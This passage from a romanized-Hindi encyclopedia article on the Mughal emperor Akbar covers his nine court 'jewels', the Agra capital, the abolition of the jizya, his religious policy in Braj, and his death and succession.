ki. akabar ne sikkh guru ramadas ko 500 bigha bhoomi pradan ki. isamean ek prakritik talab tha. bad mean yahian par amritasar nagar basaya gaya aur svarn mandir ka nirman hua.

akabar ke navaratn

akabar ke darabar ko sushobhit karane vale 9 ratn the-

birabal

mukhy lekh : birabal

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navaratnoan mean sarvadhik prasiddh birabal ka janm kalapi mean 1528 ee. mean brahman vansh mean hua tha. birabal ke bachapan ka nam 'maheshadas' tha. yah akabar ke bahut hi nazadik tha. usaki chhavi akabar ke darabar mean ek kushal vakta, kahanikar evan kavi ki thi. akabar ne usaki yogyata se prabhavit hokar use (birabal) kaviraj evan raja ki upadhi pradan ki, sath hi 2000 ka manasab bhi pradan kiya. birabal pahala evan antim hindoo raja tha, jisane din-e-ilahi dharm ko svikar kiya tha. akabar ne birabal ko nagarakot, kaang da evan kalianjar mean jagirean pradan ki thian. 1583 ee. mean birabal ko nyay vibhag ka sarvochch adhikari banaya gaya. 1586 ee. mean yusufajiyoan ke vidroh ko dabane ke lie gaye birabal ki hatya kar di gee. abul fazal evan badayooanni ke anusar-akabar ko sabhi amiroan se adhik birabal ki mrityu par shok pahuancha tha.

abul fazal

mukhy lekh : abul fazal

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soofi shekh mubarak ke putr abul fazal ka janm 1550 ee. mean hua tha. usane mugalakalin shiksha evan sahity mean apana bahumooly yogadan diya hai. 20 savaroan ke roop mean apana jivan arambh karane vale abul fazal ne apane charamotkarsh par 5000 savar ka manasab prapt kiya tha. vah akabar ka mukhy salahakar v sachiv tha. use itihas, darshan evan sahity par paryapt janakari thi. akabar ke din-e-ilahi dharm ka vah mukhy purohit tha. usane akabaranama evan aine akabari jaise mahattvapoorn granthoan ki rachana ki thi. 1602 ee. mean salim (jahaangir) ke nirdesh par dakshin se agara ki or a rahe abul fazal ki raste mean bundela saradar ne hatya kar di.

todaramal

[[chitr:Court-Of-Akbar-From-Akbarnama.jpg|thumb|250px|akabaranama ke anusar, akabar ke darabar ka ek drishy]]

mukhy lekh : todaramal

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uttar pradesh ke ek kshatriy kul mean paida hone vale todaramal ne apane jivan ki shuruat sherashah soori ke jahaan naukari karake ki thi. 1562 ee. mean akabar ki seva mean ane ke bad 1572 ee. mean use gujarat ka divan banaya gaya tatha bad mean 1582 ee. mean vah pradhanamantri ban gaya. divan-e-asharaf ke pad par kary karate hue todaramal ne bhoomi ke sambandh mean jo sudhar kie, ve ni:sandeh prashansaniy haian. todaramal ne ek sainik evan sena nayak ke roop mean bhi kary kiya. 1589 ee. mean todaramal ki mrityu ho gee.

tanasen

mukhy lekh : tanasen

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sangit samrat tanasen ka janm gvaliyar mean hua tha. usake sangit ka prashansak hone ke nate akabar ne use apane nau ratnoan mean shamil kiya tha. usane kee ragoan ka nirman kiya tha. unake samay mean dhrupad gayan shaili ka vikas hua. akabar ne tanasen ko ‘kanthabharanavanivilas’ ki upadhi se sammanit kiya tha. tanasen ki pramukh kritiyaan thian-miyaan ki to di, miyaan ki malhar, miyaan ki sarang, darabari kanh da adi. sambhavat: usane islam dharm svikar kar liya tha.

manasianh

mukhy lekh : manasianh

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amer ke raja bharamal ke pautr manasianh ne akabar ke samrajy vistar mean bahut hi mahattvapoorn bhoomika nibhaee thi. manasianh se sambandh hone ke bad akabar ne hinduoan ke sath udarata ka vyavahar karate hue jaziya kar ko samapt kar diya. kabul, bihar, bangal adi pradeshoan par manasianh ne saphal sainik abhiyan chalaya.

abdurrahim khanakhana

mukhy lekh : rahim

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bairam khaan ka putr abdurrahim uchch koti ka vidvan evan kavi tha. usane turki mean likhe babaranama ka farasi bhasha mean anuvad kiya tha. jahaangir abdurrahim ke vyaktitv se sarvadhik prabhavit tha, jo usaka guru bhi tha. rahim ko gujarat pradesh ko jitane ke bad akabar ne khanakhana ki upadhi se sammanit kiya tha.

mulla do pyaza

arab ka rahane vala pyaza humayooan ke samay mean bharat aya tha. akabar ke nau ratnoan mean usaka bhi sthan tha. bhojan mean use do pyaz adhik pasand tha. isilie akabar ne use do pyaza ki upadhi pradan ki thi.

haqim humam

mukhy lekh : haqim humam

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yah akabar ke rasoee ghar ka pradhan tha.

faiji

mukhy lekh : faizi

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abul fazal ka b da bhaee faizi akabar ke darabar mean raj kavi ke pad par asin tha. vah din-e-ilahi dharm ka kattar samarthak tha. 1595 ee. mean usaki mrityu ho gee.

agara mean rajadhani ki vyavastha

mugaloan ke shasan ke prarambh se sultanoan ke shasan ke aantim samay tak dilli hi bharat ki rajadhani rahi thi. sultan sikandar shah lodi ke shasan ke uttar kal mean usaki rajanitik gatividhiyoan ka kendr dilli ke bajay agara ho gaya tha. yahaan usaki sainik chhavani thi. mugal rajy ke sansthapak babar ne shuroo se hi agara ko apani rajadhani banaya. babar ke bad humayooan aur sherashah soori aur usake uttaradhikariyoan ne bhi agara ko hi rajadhani banaya. mugal samrat akabar ne poorv vyavastha ko qayam rakhate hue agara ko rajadhani ka gaurav pradan kiya. is karan agara ki b di unnati huee aur vah mugal samrajy ka sabase b da nagar ban gaya tha. kuchh samay bad akabar ne fatehapur sikari ko rajadhani banaya.

jaziya kar ki samapti

kachhavaha rajakumari se vivah aur rajapootoan ki ghanishthata ka asar hona hi tha. sath hi birabal bhi pahuanch chuke the. akabar ne pichhale sal tirth kar samapt kar diya tha. ab usane ek aur b da qadam uthaya aur keval hinduoan par jaziya ke nam se jo kar lagata tha, use apane sare rajy mean band karava diya. yah kar pahale-pahal dvitiy khalifa umar ne a-muslimoan par lagaya tha, jo ki haisiyat ke mutabik 48, 24 aur 12 diraham salana hota tha. jaziya keval balig purushoan se hi liya jata tha. jisase saltanat ko bhari amadani prapt hoti thi, par akabar ne is amadani ki koee paravah nahian ki. vah samajhata tha ki is prakar vah apani bahusankhyak hindoo praja ke hraday ko jit sakega. aurangazeb ne 115 varsh ke bad raja jasavant sianh ke marane ke bad 1679 ee. mean phir jaziya hinduoan par laga diya.

log samajhate the, abul fazal ke prabhav mean akar akabar udar bana, lekin tirth kar aur jaziya ko abul fazal ke darabar mean pahuanchane se das sal pahale hi akabar ne band kar diya tha. 22 varsh ki ayu mean hi vah samajh gaya tha ki, shasan mean hindoo-musalaman ka bhed samapt karana hoga.

dharmasthaloan ke nirman ki ajna

[[chitr:An-Illustration-Of-The-Akbarnama.jpg|thumb|250px|akabaranama ke anusar, samrat akabar ek pe d ke niche baithakar apane darabariyoan ko pashuoan ke vadh ke lie mana karate hue]] samrat akabar ne sabhi dharm valoan ko apane mandir−devalay adi banavane ki svatantrata pradan ki thi. jisake karan braj ke vibhinn sthanoan mean purane pooja−sthaloan ka punarooddhar kiya gaya aur naye mandir−devalayoan ko banavaya gaya tha.

go−vadh par rok

hindoo samuday mean gau ko pavitr mana jata hai. musalaman hinduoan ko aantakit karane ke lie gau−vadh kiya karate the. akabar ne gau−vadh band karane ki ajna dekar hindoo janata ke man ko jit liya tha. shahi ajna se gau−hatya ke aparadh ki saza mrityu thi.

dharmik vidvanoan ka satsang

jis samay akabar ne apani rajadhani fatehapur sikari mean sthanantarit ki, us samay usaki dharmik jijnasa b di prabal thi. usane vahaan rajakiy imaratoan ke sath hi sath ek ibadatakhana (upasana grih) bhi sanh 1575 mean banavaya tha, jahaan vah sabhi dharmoan ke vidvanoan ke pravachan sun unase vichar−vimarsh kiya karata tha. vah apana adhikaansh samay dharm−charcha mean hi lagata tha. vah muslim dharm ke vidvanoan ke sath hi sath eesaee, jain aur vaishnav dharmacharyoan ke pravachan sunata tha aur kabhi−kabhi unamean shastrarth bhi karata tha. sanh 1576 se janavari, sanh 1579 tak lagabhag 3 varsh tak vahaan dharmik vichar−vimarsh ka zor badhata gaya. us samay ke dharmachary shri vitthalanath ji ka nam vishesh roop se ullekhaniy hai. hiravijay soori shvetaanbar jain dharm ke vidvan achary the. akabar ne din-e-ilahi dharm banaya aur chalaya.

brajamandal mean akabar

dilli ke sultanoan ke pashchat mathura mandal par mugal samrat ka shasan hua tha. unamean samrat akabar sarvadhik prasiddh haian. usane apani rajadhani dilli ke bajay agara mean rakhi thi. agara brajamandal ka pramukh nagar hai; at: rajakiy riti−niti ka prabhav is bhoobhag par p da tha. ye samrat akabar ki dharmik niti thi, jisase braj ke any dharmavalanbi prachurata se labhanvit hue the. samrat akabar se pahale gvaliyar aur bateshvar (zila agara) jain dharm ke paranparagat kendr the. akabar ke shasan kal mean agara bhi is dharm ka prasiddh kendr ho gaya tha. gvaliyar aur bateshvar ka to pahale se hi saanskritik evan dharmik mahattv tha, kiantu agara rajanitik karan se jainiyoan ka kendr bana. brajamandal ke jain dharmavalanbiyoan mean adhik sankhya vyapari vaishyoan ki thi. unamean sabase adhik agraval, khandelaval−osaval adi the. mugal samrajy ki rajadhani agara us samay mean vyapar−vanijy ka bhi b da kendr tha, isalie vanik vritti ke jainiyoan ka vahaan b di sankhya mean ekatr hona svabhavik tha.

akabar ka brajamandal mean prabhav

mugal samrat akabar ki udar dharmik niti ke phalasvaroop brajamandal mean vaishnav dharm ke naye mandir−devalay banane lage aur puranoan ka jirnoanddhar hone laga, tab jain dharmavalanbiyoan mean bhi utsah ka sanchar hua tha. gujarat ke vikhyat shvetaanbarachary hir vijay soori se samrat akabar b de prabhavit hue the. samrat ne unhean b de adarapoorvak sikari bulaya, ve unase dharmopadesh suna karate the. is karan mathura−agara adi braj pradesh mean base hue jainiyoan mean atm gaurav ka bhav jagrit ho gaya tha. ve log apane mandiroan ke nirman athava jirnoddhar ke lie prayatnashil ho gaye the. achary hir vijay soori ji svayan mathura padhare the. unaki yatra ka varnan 'hir saubhagy' kavy ke 14 vean sarg mean hua tha. usamean likha hai, soori ji ne mathura mean vihar kar parshvanath aur jamboo svami ke sthaloan tatha 527 stoopoan ki yatra ki thi. soori ji ke kuchh kal pashchat sanh 1591 mean kavi dayakushal ne jain tirthoan ki yatra kar tirthamala ki rachana ki thi. usake 40 vean pady mean usane apane ullas ka is prakar kathan kiya hai,−

mathura dekhiu man ullasi . manohar thuanm jihaan paanchasian ..
gautam janboo prabhavo sam . jinavar pratima thamomam ..

mrityu

samrat akabar apani yogyata, virata, buddhimatta aur shasan−kushalata ke karan hi ek b de samrajy ka nirman kar saka tha. usaka yash, vaibhav aur pratap anupam tha. isalie usaki ganana bharatavarsh ke mahan samratoan mean ki jati hai. usaka aantim kal b de klesh aur du:kh mean bita tha. akabar ne 50 varsh tak shasan kiya tha. us dirgh kal mean manasianh aur rahim ke atirikt usake sabhi vishvasaniy saradar−samantoan ka dehaant ho gaya tha. abul fazal, birabal, todaramal, prithviraj jaise priy darabari paralok ja chuke the. usake donoan chhote putr murad aur shahazada daniyal ka dehaant ho chuka tha. putr salim shesh tha; kiantu vah apane pita ke viruddh sadaiv shadyantr aur vidroh karata raha tha. jab tak akabar jivit raha, tab tak salim apane dushkrityoan se use du:khi karata raha; kiantu vah sadaiv aparadhoan ko kshama karate rahe the. jab akabar salim ke vidroh se tang a gaya, tab apane uttarakal mean usane us b de bete shahazada khusaro ko apana uttaradhikari banane ka vichar kiya tha. kiantu akabar ne khusaro ko apana uttaradhikari nahian banaya, lekin us mahattvakaankshi yuvak ke man mean rajy ki jo lalasa jagi, vah usaki akal mrityu ka karan bani. jab akabar apani mrityu−shaiya par tha, us samay usane salim ke sabhi aparadhoan ko kshama kar diya aur apana taj evan khanjar dekar use hi apana uttaradhikari ghoshit kar diya tha. us samay akabar ki ayu 63 varsh aur salim ki 38 varsh thi. akabar ka dehavasan aktoobar, sanh 1605 mean hua tha. use agara ke pas sikandara mean dafanaya gaya, jahaan usaka kalapoorn maqabara bana hua hai. akabar ke bad salim jahaangir ke nam se mugal samrat bana.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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